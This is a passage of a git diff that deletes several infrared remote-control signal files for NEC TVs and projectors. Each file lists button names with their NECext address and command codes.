KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: CONTROL_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: CONTROL_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: POSITION_CALL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir deleted file mode 100644 index 6191d50ac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: RGB_1 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 43 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: RGB_MODE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir deleted file mode 100644 index 37c752b1a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_R -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 00 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 02 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: 'END' -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 17 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 18 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 19 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 41 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 43 00 00 00 -# -name: SOUND_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 45 00 00 00 -# -name: PIC_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 47 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir deleted file mode 100644 index 20f23abf3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: CONTROL_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: CONTROL_/ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: POSITION_CALL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir deleted file mode 100644 index fa1cf13be..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: CONTROL_UP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: CONTROL_DOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: POSITION_CALL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 18 00 00 00 -command: C3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir deleted file mode 100644 index a7b7ac6cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: CONTROL_UP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: CONTROL_DOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: POSITION_CALL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir deleted file mode 100644 index ff95154ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CH_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: CH-CALL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: 1* -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: 2* -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: 3* -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: 4* -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: ON_TIMER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 34 00 00 00 -# -name: HOUR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 35 00 00 00 -# -name: MINUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: CONTROL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 59 00 00 00 -# -name: CONTROL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir deleted file mode 100644 index 532860c85..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: SELECT_PICTURE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: SELECT_MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: DISPLAY_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: DISPLAY_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 -# -name: KEY_4X -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 87 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 91 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir deleted file mode 100644 index 581edab45..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: RGB_1 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: ZOOM'+' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 09 00 00 00 -# -name: ZOOM'-' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0A 00 00 00 -# -name: FOCUS'+' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0B 00 00 00 -# -name: FOCUS'-' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: PIC-MUTE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: VOLUME'+' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 48 00 00 00 -# -name: VOLUME'-' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 49 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4C 00 00 00 -# -name: MAGNIFY_REDUCE'+' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 89 00 00 00 -# -name: MAGNIFY_REDUCE'-' -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8A 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir deleted file mode 100644 index a54b23ea3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: computer_1 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: computer_2 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 05 00 00 00 -# -name: auto_adj -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0D 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 17 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 25 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2B 00 00 00 -# -name: l_click -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2C 00 00 00 -# -name: r_click -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: pic-mute -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 49 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4C 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4E 00 00 00 -# -name: magnify_plus -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 89 00 00 00 -# -name: magnify_minus -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: B8 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: BA 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: BC 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: BE 00 00 00 -# -name: s-video -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir deleted file mode 100644 index 3e844b51a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: Computer_1 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: Computer_2 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 05 00 00 00 -# -name: Auto_Adj -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: Picture -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0D 00 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 10 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: Lamp_Mode -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 17 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 25 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2B 00 00 00 -# -name: Mouse_L-Click -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2C 00 00 00 -# -name: Mouse_R-Click -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 2D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: Pic-Mute -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 49 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4C 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4E 00 00 00 -# -name: Magnify+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 89 00 00 00 -# -name: Magnify- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8A 00 00 00 -# -name: Cursor_UP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: B8 00 00 00 -# -name: Cursor_RIGHT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: BA 00 00 00 -# -name: Cursor_DOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: BC 00 00 00 -# -name: Cursor_LEFT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: BE 00 00 00 -# -name: S-Video -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir 